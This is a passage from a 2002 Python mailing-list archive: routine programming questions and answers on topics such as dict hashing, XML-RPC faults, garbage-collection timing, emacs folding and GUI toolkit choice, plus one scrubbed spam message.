hard-to-tell-apart diacritics -- confusion is still possible but much less likely than in a language WITH diacritics or thousands of different glyphs. Non-programmers must learn ONE fundamental thing about computer languages: that they're utterly different from natural language, their nature, purpose and operation completely separate. Whenever you try to blur the distinction, you do them all a signal disservice. They may THINK they want to "speak their own language to the computer", but they _don't_, really: if they think so, it's because they still haven't grasped the key differences. Help them learn, rather than "helping" them hide their ignorance from themselves. Alex From aahz at pythoncraft.com Sun May 5 02:34:50 2002 From: aahz at pythoncraft.com (Aahz) Date: 5 May 2002 02:34:50 -0400 Subject: Slight irritation with try/finally indentation References: <3CD4A4E7.DD73F2C0@engcorp.com> Message-ID: In article <3CD4A4E7.DD73F2C0 at engcorp.com>, Peter Hansen wrote: >Ken Seehof wrote: >> >> Hmm. This thread reminds me of the brilliant solution to the >> very serious :-) lack of begin and end block markers for python: >> >> if x: >> #begin >> for j in range(4): #{ >> f(j); >> #} >> #endif > >Sorry, Ken, but you messed up your indentation: > >if x: > #begin > for j in range(4): > #{ > f(j); > #} > #endif Thank you both for reminding me how much I love Python. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From sholden at holdenweb.com Wed May 1 07:34:02 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 07:34:02 -0400 Subject: Initializing a list with copies References: <6OAz8.1251$Au5.843@atlpnn01.usenetserver.com> Message-ID: "Alex Martelli" wrote in message news:mGNz8.36284$8D3.1054742 at news1.tin.it... > Steve Holden wrote: > ... > > So, while I thought the change had been made (because type(int) == > > type(type)) the documentation seemed to say otherwise. This is the kind of > > Not so much the paragraph you quote, but the fact that the whole page > is titled "functions", yes. Fred Drake is doing a heroic job but he can't > do it all on his own! Why not offer context-diffs to the docs to help > him out? Maybe just changing the section title to "built-in functions > and types" and inserting a small paragraph reminding the reader that > int (and complex, dict, list, etc etc), while callable just like functions, > are in fact type objects so they may also be subclasses, used in > isinstance, etc. > > > Types, of course, are callables, so it's reasonable to represent them as > > functions, but it's interesting that the new types' constructors are so > > explicitly polymorphic across the "sensible" arguments. The documentation > > is unchanged in the CVS tree. > > So help it change, if you think it can be enhanced reasonably easily. > > You are an excellent writer, clear and concise, with an uncanny ability > to address the reader's typical concerns/doubts/misunderstandings. Helping > enhance Python's docs is just as important (some of us would say, MORE > important, since most hackers much prefer writing code than docs:-) as > helping enhance Python's interpreter and library code. > Thanks . The reason I'm currently lurking (mostly) on python-dev is because I figure if I understand what's going into the language changes I might be able to free up some of Fred's time. This would be a good place to see if I can work through from the Tex source to some legible output and provide Freed with the necessary context diffs. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From cbbrowne at cbbrowne.com Fri May 3 08:48:02 2002 From: cbbrowne at cbbrowne.com (Christopher Browne) Date: Fri, 03 May 2002 08:48:02 -0400 Subject: Message queueing In-Reply-To: Message from holger krekel of "Fri, 03 May 2002 11:14:04 +0200." <20020503091404.GC16217@devel.trillke> References: <20020503091404.GC16217@devel.trillke> Message-ID: <20020503124802.F22DA2F190@cbbrowne.com> > On Thu, May 02, 2002 at 10:45:29PM -0400, Christopher Browne wrote: > > The BIG problem with the "rolling via SMTP" is that SMTP doesn't > > provide you _any_ kind of end-to-end guarantees on delivery. > > Theoretically you are right. SMTP by itself does not guarantee > much of anything. But using something like the well (C-)written > highly modular 'qmail' on both sides might make it easy to be sure that > a message has been sent and received. You should prefer peer-to-peer > relaying instead of sending it through several hops. > I am pretty sure that you can get guarantees without having to resort > to implement TCP over mail :-) > > I admit that i haven't tried such a setup myself. But i would definitely > give it a look especially because qmail is - apart from highly > secure - fast and very easy to configure. Which SMTP server you use makes _zero_ difference if some misconfiguration means that dropping messages in means they go in the "bit bucket"; Which SMTP server I'm running on my often-disconnected laptop makes _zero_ difference if the timing of when I'm connected has the result that messages get dropped on the floor. -- (reverse (concatenate 'string "moc.enworbbc@" "sirhc")) http://www.cbbrowne.com/info/linuxxian.html Rules of the Evil Overlord #87. "My vats of hazardous chemicals will be covered when not in use. Also, I will not construct walkways above them." -- (concatenate 'string "cbbrowne" "@ntlug.org") http://www.ntlug.org/~cbbrowne/languages.html If only women came with pull-down menus and online help. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 1983 bytes Desc: not available URL: From quitelikely at yahoo.com.au Sun May 5 21:56:21 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 06 May 2002 11:56:21 +1000 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> Message-ID: <821ycqjayi.fsf@acropolis.localdomain> aahz at pythoncraft.com (Aahz) writes: > In article <82adrehag0.fsf at acropolis.localdomain>, > Patrick W wrote: > >> > >> Why use C# at all? > > > >No genuine need of course, but I think there *is* a sizeable sweet > >spot that lies somewhere between C and Python in terms of abstraction > >capabilities, speed, coding convenience, etc. > > Please explain this a bit further, because I don't see that sweet spot at > all. My experience is until one gets to truly high levels of abstraction > (such as Python and SQL), one pays so heavily in lack of expressiveness > combined with grunt work that the sweet spot doesn't really exist. I've tried to think of examples to support my assumption, but actual *experience* tends to bear out what you're saying. Perhaps I ought to scrap the assumption until it asserts itself in reality. I *was* thinking that there are many situations in which Python is too slow and C is needlessly tedious. If that were true, a mid-level language in which you don't have to roll your own simple data structures or worry about memory management and still get good performance would be a good thing. But in practice, have I ever *needed* such a thing? No. Also, now that I think about it, there will soon be a _much_ nicer way of extending Python than writing raw C. (I recall that one of two NZ Pythonistas named Greg has invented an extension language which, at a glance, looks very nice. The fact that I haven't yet *needed* to try it out tends to undermine my assumption even more). So, let me try a different statement, and see whether this too turns out to be a load of crap ;-) It would be nice if Python could become a first-class producer or consumer of .NET components, regardless of which language they're written in. From mail at netmail.de Mon May 6 16:15:52 2002 From: mail at netmail.de (Immer frischer Kaffee) Date: Mon, 6 May 2002 16:15:52 Subject: Betreff Message-ID: A non-text attachment was scrubbed... Name: index.htm Type: application/octet-stream Size: 6682 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: tassegross.jpg Type: application/octet-stream Size: 1490 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: foto2.jpg Type: application/octet-stream Size: 2262 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: automat.jpg Type: application/octet-stream Size: 3483 bytes Desc: not available URL: From ak at silmarill.org Thu May 2 07:30:50 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Thu, 02 May 2002 11:30:50 GMT Subject: Command history in python shell under linux References: Message-ID: In article , Stephen Boulet wrote: > When I hit the up arrow in the python shell, I get: > > ^[[A > > How do I set up things so that I get the previous command? Thanks. > > -- Stephen > > My versions: > > $ rpm -qa | grep python > python-imaging-1.1.2-4mdk > libpython2.2-2.2-9mdk > pythonlib-1.28-1mdk > python-base-2.2-9mdk > python-2.2-9mdk > python-numeric-20.3-2mdk > python-docs-2.2-9mdk > rpm-python-4.0.3-10mdk > libpython2.2-devel-2.2-9mdk > I don't know about RH, but you can compile your python with readline module. You have to get python source file and edit Modules/Setup file and uncomment the readlines.c line. > -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From bh at intevation.de Tue May 21 05:07:35 2002 From: bh at intevation.de (Bernhard Herzog) Date: 21 May 2002 11:07:35 +0200 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <6qd6vtxzam.fsf@abnoba.intevation.de> Message-ID: <6qd6vpx414.fsf@abnoba.intevation.de> Gon?alo Rodrigues writes: > >If an object is stored in a dict as a key, the only things that matter > >are that > > > >1. its hash value doesn't change as long as the object is used as a key. > > Doesn't this mean, in practice, that it is immutable? Not necessarily. If the hash value can change if the state of the object changes, you have to make sure that you don't change the object in such a way as long as it's used as a key in a dict. The easiest way to achieve this is of course to have the hash value constant for the life-time of the object. > To me, this requirement is just shifting responsabilities from one > place to the other and not really solving the problem. It may, yes. It's certainly not the best solution for objects in a set. > >2. equal objects have equal hash values > > > >There may be some more subtle requirements. I'm not sure what happens > >when two objects that have the same hash value but do not compare eqal > >at first later become equal, for instance. > > I believe 2. is more stringent: > > equal objects iff equal hash values That can't work. Hash values are ints which today means that it's a C long and therefore either 32bit or 64 bit on most machines. Obviously there are far fewer possible hash values than strings for instance, so there must be at least two strings which are unequal but have the same hash value. An easy example for hashes of ints: Python 2.2 (#1, Jan 17 2002, 21:04:07) [GCC 2.95.4 20011006 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> -1 == -2 0 >>> hash(-1) == hash(-2) 1 >>> Most of the time, i == hash(i) for any python int except -1, because -1 is indicates an error in the C-level equivalent of __hash__. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From moray.grieve at ntlworld.com Fri May 10 09:08:42 2002 From: moray.grieve at ntlworld.com (moray.grieve) Date: Fri, 10 May 2002 14:08:42 +0100 Subject: How do I check if a pid is running? Message-ID: <000e01c1f823$cfc93b60$5f90fd3e@rosetta> You could do a system call on unix to get a list of all pids belonging to yourself i.e. lines = os.popen( "ps -u %s -o pid,comm"%(getpass.getuser()) ).readlines() pids = [] for line in lines: pids.append(string.atoi(string.split(line)[0])) You could then search through the list to see if the pid you are interested is in there. I use this approach on both Solaris and Red Hat. Cheers, Moray Grieve From tim.one at comcast.net Sat May 18 10:48:16 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 18 May 2002 10:48:16 -0400 Subject: Exponential time increase in garbage collection In-Reply-To: <5.1.0.14.0.20020518104139.03744da0@mail.digitome.com> Message-ID: [Sean McGrath] > I have a program that creates lots of small objects (actually some > large objects that are made up of many sub-objects) and retrieves > them through a dictionary. > > Depending on the machine the program is run on, there comes a point > where deleting them from the dictionary takes a long time. Sorry, this is too vague to work with. Start with which verion of Python you're using, and try to come up with a self-contained small test case exhibiting the symptom. > Plotting the numbers shows a relationship which is distinctly > exponential in shape. > > Machine A: > Objects Dictionary Delete Time > 600 2 > 200 18 > 1000 97 > 1200 344 > > Machine B: > Objects Dictionary Delete Time > 25 0 > 50 5 > 75 14 > 100 37 If I had any idea what you were doing, this *might* help . BTW, why did you mention "garbage collection" in the subject line? Does the problem go away if you do gc.disable() at the start? > The behavior is the same on Windows and Unix. At the start, you said this happens "depending on the machine". So what varies besides Windows-vs-Unix that *does* make a difference? Also be specific aobut which flavors of Windows and Unix you're using (different flavors of WIndows have radically different memory behavior, and ditto Unix). > The numbers change but the underlying shape of the graph stays > the same. > > Any lore for dealing with this type of situation greatly appreciated. If you could try it under current CVS Python, that might be interesting -- pymalloc is enabled by default in the current CVS build, and several times pymalloc has cured cases where the *platform* malloc/free exhibit quadratic-time behavior. From andymac at bullseye.apana.org.au Mon May 27 06:11:45 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Mon, 27 May 2002 21:11:45 +1100 (edt) Subject: Problem building PySQLite under Windows In-Reply-To: <1maI8.88345$CN3.2584829@news2.tin.it> Message-ID: On Sun, 26 May 2002, Max wrote: > I'm playing with PySQLite, but i can't build or install it. > I use Python 2.2.1 on win32 (Windows XP Pro), and PySQLite 0.1.2. > The error i receive is the following (i have no "cl.exe" anywhere in my HD. > Is this a "c" compiler, i suppose...?) {...} > cl.exe /c /nologo /Ox /MD /W3 /GX -Ic:\sqlite\include -Ic:\python22\include Yes, this is a C compiler - I believe that this is the command line Microsoft compiler which is effectively a free download (in the absence of SKS providing the info, you'll need to google for more info because I can't give you any details). At this stage of its life, PySQLite appears to be a source only distribution (I've d/l the source myself, but have yet to play...). -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From henk.derudder at barconet.com Wed May 15 02:46:28 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Wed, 15 May 2002 06:46:28 GMT Subject: Python install on Windows Message-ID: <3ce203b1.682640671@news.skynet.be> Hi all, I downloaded the installer for Python 2.2 from www.python.org I just wondered whether the source files for that installation process are available and if so, where I can find/get them. I could use it to write an unattended installer to install just the interpreter and its libraries. Thanks in advance, Henk From seth at robustai.net Tue May 21 16:26:45 2002 From: seth at robustai.net (Seth Russell) Date: Tue, 21 May 2002 20:26:45 GMT Subject: cross platform method of accessing a running process References: Message-ID: <94yG8.1161$cQ3.267@sccrnsc01> "Geoff Gerrietts" wrote in message news:mailman.1021661370.756.python-list at python.org... > Quoting Seth Russell (seth at robustai.net): > > I want to have a python process always running on my machine, but allow cgi > > processes to come in and access that process. How do I do this in a manner > > that will work on all platforms ? What python modules will support this? > > I might be wrong (don't think I am), but I believe the only way to do > this in a truly cross-platform manner is to do it via sockets. You > open a socket in your long-running process and accept requests. The > SocketServer module is one of your choices. > > Some higher-level protocols, like FastCGI, exist. You may find that > FastCGI, or something like XML-RPC, allows you to do the sorts of > things you're looking to do without having to invent a whole protocol > for information exchange. You might also check into Pyro and Twisted; > those frameworks provide some functionality overlapping with what > you're interested in. > > More details on what you want will naturally increase the quality of > the answers you receive. Thanks for your informative reply ... it got me thinking in the right direction. I ended up making a http server class based on the standard BaseHTTPServer. Hopefully this will end up being a semantic web client\server. Anybody want to help ... http://robustai.net/mentography/httpBot.py Seth Russell From skirkendall at dsl-only.net Sat May 18 23:35:14 2002 From: skirkendall at dsl-only.net (Steve Kirkendall) Date: Sat, 18 May 2002 20:35:14 -0700 Subject: references to forkpty and openpty on Linux (RH7.2) References: Message-ID: <3ce7198c@nntp0.pdx.net> Anton Graph wrote: > g++ -V 2.95.3 -g -o metadb metadb.o metaadb.o metaddl.o metapy.o > i386-linux.o -L/usr/local/lib/python2.2/config -lpython2.2 config2.o > -lpthread -ldl -lm [...] > /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:1934: undefined > reference to `openpty' > /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:1965: undefined > reference to `forkpty' Try adding "-lutil" to the link line. The openpty() and forkpty() functions should be defined there. I don't know why your grep commands failed to locate the reference though. From loewis at informatik.hu-berlin.de Thu May 2 09:06:44 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 02 May 2002 15:06:44 +0200 Subject: Killing a running thread References: Message-ID: Alexander Skwar writes: > The application itself is a wxPython GUI application. Because the > worker thread can take quite some time and consume a lot of memory, I'd > like to have a button (or whatever) on the GUI which allows the user to > kill the running thread. But how can I do this? You cannot; killing a thread is not supported. You may succeed with low-level operating system calls (kill, TerminateThread), but you are on your own doing so. Regards, Martin From wrbt at email.com Thu May 16 17:53:41 2002 From: wrbt at email.com (Larry) Date: 16 May 2002 14:53:41 -0700 Subject: ASP: page blank after refresh. References: Message-ID: <2ec1bc1c.0205161353.4f84c5f6@posting.google.com> I had the same problem after I upgraded to 221, but replacing framework.py with the version from win32all-133 solved it. (possible stupid question alert) Have you restarted IIS since playing musical frameworks? - Larry From nospam at [127.0.0.1] Thu May 30 08:12:06 2002 From: nospam at [127.0.0.1] (Chris) Date: Thu, 30 May 2002 13:12:06 +0100 Subject: Spiral Message-ID: I've written a small QBASIC program which draws a spiral. Here is the code: SCREEN 12 CLS FOR t = 1 TO 400 STEP .01 x = .5 * t * COS(t) y = .5 * t * SIN(t) PSET (x + 320, y + 240) NEXT t I noticed that it generated some interesting patterns, probably as a result of rounding errors. These can be explored further by making the spiral tighter. Anyway, I wonder if anyone would be so kind as to convert it to Python because then I can try and decide whether Python is easy enough for me to learn! -- Chris From whisper at oz.net Wed May 29 23:12:07 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 29 May 2002 20:12:07 -0700 Subject: Crashing IDLE In-Reply-To: Message-ID: I would consider that a bug - "pass" should be checking for ctrl-c and other events imo. It sure strikes me as a point for relinquishing control. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Jeff Shannon > Sent: Wednesday, May 29, 2002 16:29 > To: python-list at python.org > Subject: Re: Crashing IDLE > > > In article , Rhymes > says... > > > > I've noticed that IDLE crash itself with this infinite loop statement: > > > > >>> while 1: > > ... pass > > ... > > > > it's a known bug or not? > > Well, you're locking the process up in an infinite loop, which > prevents it from servicing its message queue, which will > eventually overflow... > > -- > > Jeff Shannon > Technician/Programmer > Credit International > -- > http://mail.python.org/mailman/listinfo/python-list From jafo at tummy.com Thu May 16 17:31:15 2002 From: jafo at tummy.com (Sean Reifschneider) Date: Thu, 16 May 2002 15:31:15 -0600 Subject: creating rpm package from python build dir tree In-Reply-To: ; from mwh@python.net on Mon, May 13, 2002 at 10:32:51AM +0000 References: Message-ID: <20020516153115.D2727@tummy.com> On Mon, May 13, 2002 at 10:32:51AM +0000, Michael Hudson wrote: >"Mariappan, MaharajanX" writes: >> I'm trying to build rpm package from python build directory tree? >> Is anybody already tried the same and have the spec file for it? > >Err, there are already spec files in Misc/RPM, are there not? Indeed, and at 2.2.1 it is the exact spec file which was used to build the RPM releases. You already knew that though. ;-) m_mariappanX: Do you need something other than that .spec file? Sean -- The best defense against predators is to taste bad. Sean Reifschneider, Inimitably Superfluous tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python From peter at engcorp.com Tue May 28 07:39:48 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 May 2002 07:39:48 -0400 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> <918bc22f.0205271741.5b64aa4a@posting.google.com> <24d8090a.0205280116.4e015bbc@posting.google.com> Message-ID: <3CF36C84.82B9175E@engcorp.com> Corey Woodworth wrote: > > donnal at donnal.net (Donnal Walter) wrote in message news:<918bc22f.0205271741.5b64aa4a at posting.google.com>... > > If you have some reason not to use the built-in pickle module or > > shelve, you might consider formatting your database using XML (with or > > without newlines): > > I have no reason. I just don't know much about them. > > > > > > > Watermark > > > > > > Enya > > > > > > I think such a system might be a little verbose. I'm really interested > in pickle and shelve though. Are there any good intros into them? Pickle and shelve are effective, though Python-specific. XML is a fairly well-supported standard that is 100% cross-platform. It has a fairly wide range of sophisticated tools available to work with it, including extensive support in Python. It's also an extremely good technology to know about, whereas pickle and shelve are of relatively limited use. Verbose? Who cares? How much disk space do you have? Calculate the size of your database using the above format and you'll probably conclude it's really not an issue. Now *storing* the data as XML is not always the best approach anyway, but in that case pickle and shelve are probably not either. In each case you pretty much have to write the entire file over again just to make a change to, or remove or add anything. That's where database systems come in handy. Not trying to convince you of anything except that "verbose" is generally a poor reason, even if true, for excluding a useful technology... Make it work, then make it fast (or small). "We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil." - Donald Knuth -Peter From paul at zope.com Mon May 13 07:13:15 2002 From: paul at zope.com (Paul Everitt) Date: Mon, 13 May 2002 07:13:15 -0400 Subject: CFP: Give a lightning talk at EuroPython 2002 Message-ID: <3CDF9FCB.7040109@zope.com> EuroPython 2002 is rapidly approaching: http://www.europython.org/ The morning of the third day has time reserved for lightning talks. These are ten minute presentations on a project or technology that require less preparation than formal talks. Due to the fast pace, lightning talks have become a crowd favorite at Python conferences. If you are interested in giving a lightning talk, please contact Paul Everitt (paul at zope.com) with a title and brief abstract. EuroPython 2002 is the important event for Python users in Europe. Held June 26-28 in Charelroi, Belgium, the conference anticipates hundreds of attendees and an agenda packed with tutorials, presentations, lightning talks, and birds-of-a-feather meetings. --Paul From skip at pobox.com Fri May 10 02:34:12 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 10 May 2002 01:34:12 -0500 Subject: Can string format operator help me? In-Reply-To: <284b44c2.0205092224.523bccca@posting.google.com> References: <284b44c2.0205092224.523bccca@posting.google.com> Message-ID: <15579.27108.778749.128453@12-248-41-177.client.attbi.com> Srihari> Please consider the following example: Srihari> l = 0 Srihari> while l < 1000000: Srihari> print "%s" % l Srihari> l = l + 10000 Srihari> What I want to achieve is something like this: Srihari> 0 Srihari> 10000 Srihari> .. Srihari> 100000 Srihari> .. How about: >>> i = 1 >>> while i <= 1000000: ... print "%7d" % i ... i *= 10 ... 1 10 100 1000 10000 100000 1000000 -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs From brian at sweetapp.com Fri May 10 12:41:25 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Fri, 10 May 2002 09:41:25 -0700 Subject: type(xmlrpclib.Fault.faultCode)... In-Reply-To: Message-ID: <001401c1f841$86662b90$445d4540@Dell2> > -----Original Message----- > From: python-list-admin at python.org [mailto:python-list-admin at python.org] > On Behalf Of Magnus Lie Hetland > Sent: Friday, May 10, 2002 8:22 AM > To: python-list at python.org > Subject: Re: type(xmlrpclib.Fault.faultCode)... > > In article , Magnus Lie Hetland > wrote: > > > > I found the problem myself... I looked in SimpleXMLRPCServer, and it > turns out that it turns every exception x into a Fault with faultCode > 1 (an int, not a string, as the xmlrpclib docs say... The XML-RPC specification says: The could also contain a which contains a which is a containing two elements, one named , an and one named , a . So I would say that there is a documentation (and perhaps implementation) bug for xmlrpclib. > Not sure what > the deal is here) and faultCode str(x). When I raise Fault objects of > my own, this gives a the highly undesirable behaviour of constructing > a _new_ Fault object which ignores my faultCode and which ends up with > a pretty odd faultString. > > If I can neither return Faults as Faults nor raise custom Faults -- is > there any way one can use custom Faults with SimpleXMLRPCServer? > > If not, is there any interest in a patch that would allow this? Are > there any suggested workarounds? Am I missing something? Yeah, I suck. I've already submitted patches to clean my mess though. You might want to use the SimpleXMLRPCServer.py found here: http://www.sweetapp.com/xmlrpc/ It is the integration of all the proposed 2.3 patches. Cheers, Brian From skip at pobox.com Mon May 13 12:00:34 2002 From: skip at pobox.com (Skip Montanaro) Date: Mon, 13 May 2002 11:00:34 -0500 Subject: intermittent MySQLdb import problem on Solaris 7 In-Reply-To: References: Message-ID: <15583.58146.180613.288058@12-248-41-177.client.attbi.com> John> This test program sometimes works when invoked via the web server John> via CGI, but most often it doesn't: John> #!/usr/local/bin/python John> import cgi John> try: John> import MySQLdb John> cgi.test() John> except: John> print "Content-type: text/html\n" John> cgi.print_exception() John> When it doesn't work, here's the exception: John> Traceback (most recent call last): John> File "./bad.cgi", line 7, in main John> import MySQLdb John> File "./MySQLdb/__init__.py", line 27, in ? John> import _mysql John> ImportError: ld.so.1: /usr/local/bin/python: fatal: libgcc_s.so.1: John> open failed: No such file or directory Check here to see if this answers your question: http://sourceforge.net/forum/forum.php?thread_id=679340&forum_id=70461 -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From MichaelB at firstlogic.com Wed May 22 14:13:06 2002 From: MichaelB at firstlogic.com (Michael Bauers) Date: Wed, 22 May 2002 13:13:06 -0500 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? Message-ID: <50B466C3F4A0D5118CCA00B0D0681E3202766541@exchange-lax1.firstlogic.com> Why do you say x = []; x.append('a'), but get the length with len(a) ? Is there a reason for this sort of inconsistency? From jdavis at empires.org Mon May 6 18:08:21 2002 From: jdavis at empires.org (Jeff Davis) Date: Mon, 06 May 2002 15:08:21 -0700 Subject: extraneous import statements needed Message-ID: I created a module that is essentially one big class. At the top I have a group of import statements (outside the class). Within my methods I call functions such as string.split(). However, I get strage error messages about "type None does not have attribute split" or something similar (always thinks that the module name is instead a None object). However, this behavious does not seem consistant. I tried to narrow down the cause of the failure, but all of the text cases I tried worked as I expected (calling the split function of the string module that I imported outside the class). I can fix it easily by just adding imports at the top of my class methods until I don't get any more errors, but that doesn't help me understand what's wrong. Has anyone had a similar problem? I suppose it's a scoping issue, but wouldn't I just get a NameError exception? How does it get set to None? Did the outer import fail somehow maybe? Sorry I didn't include an example, but as I said it seemed inconsistant and I have not (yet) been able to narrow down the cause or a good example/test case. Since my methods are mostly dependent on eachother, it is difficult to remove select parts without encountering an unrelated error. Thanks, Jeff From vvainio at tp.spt.fi Wed May 29 09:24:45 2002 From: vvainio at tp.spt.fi (Ville Vainio) Date: 29 May 2002 06:24:45 -0700 Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: aahz at pythoncraft.com (Aahz) wrote in message news:... > This isn't abuse; this was precisely the intention of creating iterators > and generators. Speaking of which - why does the iterator of file objects return strings with trailing \n's in place? Considering that we don't have to detect EOF by ''... From simon at uggs.demon.co.uk Sat May 4 20:37:18 2002 From: simon at uggs.demon.co.uk (Simon Foster) Date: Sun, 05 May 2002 00:37:18 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> Message-ID: <3cd77dd6.1099557299@news.dsl.pipex.com> On Sun, 05 May 2002 00:25:55 GMT, Tim Hammerquist wrote: >Simon Foster graced us by uttering: >> "Tim Hammerquist" wrote: >> > > Radians are what trig is based on. Otherwise the formula for the >> > > area of a circle would be 'A = 360r'; since when does a unit >> > > circle have an area of 360 square units? >> >> Where do you get this from? A = pi * r^2? > >You're right. Not enough coffee and too much time passed since college >trig. =) Correction: > >: If trig were based on degrees, the following would be true for a >: unit circle: >: >: [ A = (180 * r^2) = 180 sq. units ] >: [ C = (360 * r) = 360 units ] > >Thus: > > "since when does a unit circle have an area of 180 sq. units?" > ^^^^^^^^^^^^^ > I think you need more coffee! Surely PI is "3 and a bit"! The area of a unit circle is pi. How big do you make it? >> > > OTOH, `man 3 sin` on my system documents the sin() function of >> > > the C math library _is_ documented as taking radians. On a POSIX >> > > system, this is usually what is called by Ruby's Math.sin() >> > > method. >> >> Maybe he's not on Unix? > >My handy copy of the Turbo C++ 3.0 Library Reference manual from my >MS-DOS version of the software also documents sin() as taking a value in >radians. (C)1990. A.D. So this is far from new. One might say it's a >standard... A trig calculator's default setting doesn't dictate the >default of the world at large. > >Furthermore, not all *nix systems are POSIX-compliant. And very few >POSIX-compliant systems are _completely_ compliant with the POSIX >standard. > >My only intent in mentioning POSIX was that on most *nix systems (esp. >POSIX ones), you can #include and compile and expect to call >a sin() function (that, btw, takes its argument in radians). Other >PC-oriented operating systems lack a standard math lib "out-of-the-box". > >Tim Hammerquist You're right here, I've never seen a trig call that didn't expect the argument in rads. -- Simon Foster Somewhere in the West of England From thomas at cbs.dtu.dk Fri May 31 04:40:04 2002 From: thomas at cbs.dtu.dk (Thomas Sicheritz-Ponten) Date: 31 May 2002 10:40:04 +0200 Subject: Code Folding with Emacs References: Message-ID: gb at cs.unc.edu writes: Have you looked at folding.el? (fold-add-to-marks-list 'python-mode "# {{{ " "# }}}" nil t) (load "folding.el" 'nomessage 'noerror) > It is really easy to get code folding going with Python mode in > Emacs. Just use the builtin outline-minor-mode and set up the > outline-regexp and outline-level to work with Python. It really works > well for me and has a nice menu or keyboard interface as well. > > Here is what I put in my .emacs to make it work. > > gb > > ;; setup python mode > (setq auto-mode-alist ; trigger python mode automatically > (cons '("\\.py$" . python-mode) auto-mode-alist)) > (setq interpreter-mode-alist > (cons '("python" . python-mode) > interpreter-mode-alist)) > (autoload 'python-mode "python-mode" "Python editing mode." t) > ; add my customization > (add-hook 'python-mode-hook 'my-python-hook) > ; this gets called by outline to deteremine the level. Just use the length of the whitespace > (defun py-outline-level () > (let (buffer-invisibility-spec) > (save-excursion > (skip-chars-forward "\t ") > (current-column)))) > ; this get called after python mode is enabled > (defun my-python-hook () > ; outline uses this regexp to find headers. I match lines with no indent and indented "class" > ; and "def" lines. > (setq outline-regexp "[^ \t]\\|[ \t]*\\(def\\|class\\) ") > ; enable our level computation > (setq outline-level 'py-outline-level) > ; do not use their \C-c@ prefix, too hard to type. Note this overides some python mode bindings > (setq outline-minor-mode-prefix "\C-c") > ; turn on outline mode > (outline-minor-mode t) > ; initially hide all but the headers > (hide-body) > ; I use CUA mode on the PC so I rebind these to make the more accessible > (local-set-key [?\C-\t] 'py-shift-region-right) > (local-set-key [?\C-\S-\t] 'py-shift-region-left) > ; make paren matches visible > (show-paren-mode 1) > ) -- Sicheritz-Ponten Thomas, Ph.D, thomas at biopython.org ( Center for Biological Sequence Analysis \ BioCentrum-DTU, Technical University of Denmark ) CBS: +45 45 252485 Building 208, DK-2800 Lyngby ##-----> Fax: +45 45 931585 http://www.cbs.dtu.dk/thomas ) / ... damn arrow eating trees ... ( From aahz at pythoncraft.com Sat May 18 10:29:04 2002 From: aahz at pythoncraft.com (Aahz) Date: 18 May 2002 10:29:04 -0400 Subject: Exponential time increase in garbage collection References: Message-ID: In article , Sean McGrath wrote: > >Depending on the machine the program is run on, there comes a point where >deleting them from the dictionary takes a long time. Plotting the numbers >shows a relationship which is distinctly exponential in shape. Yup. This is being worked on for Python 2.3, for the case where the tracked objects are tuples. If it's not tuples causing the problem for you, you'll need to manually control gc (or simply disable it if you know that you don't have any cycles). -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From aleax at aleax.it Fri May 10 02:21:22 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 06:21:22 GMT Subject: Which GUI Library to Use References: Message-ID: A. Keyton Weissinger wrote: > Hi Folks, > > I am beginning work on what will likely turn into a fairly large GUI-based > application and would like your thoughts on which library to use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) > C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) > D) wxPython > > I want to get the best combination of easiest to install most feature rich > and do not have enough experience with the non-Tk libraries. IMHO, unless you have problems with the licenses or funding issues, Qt is a good 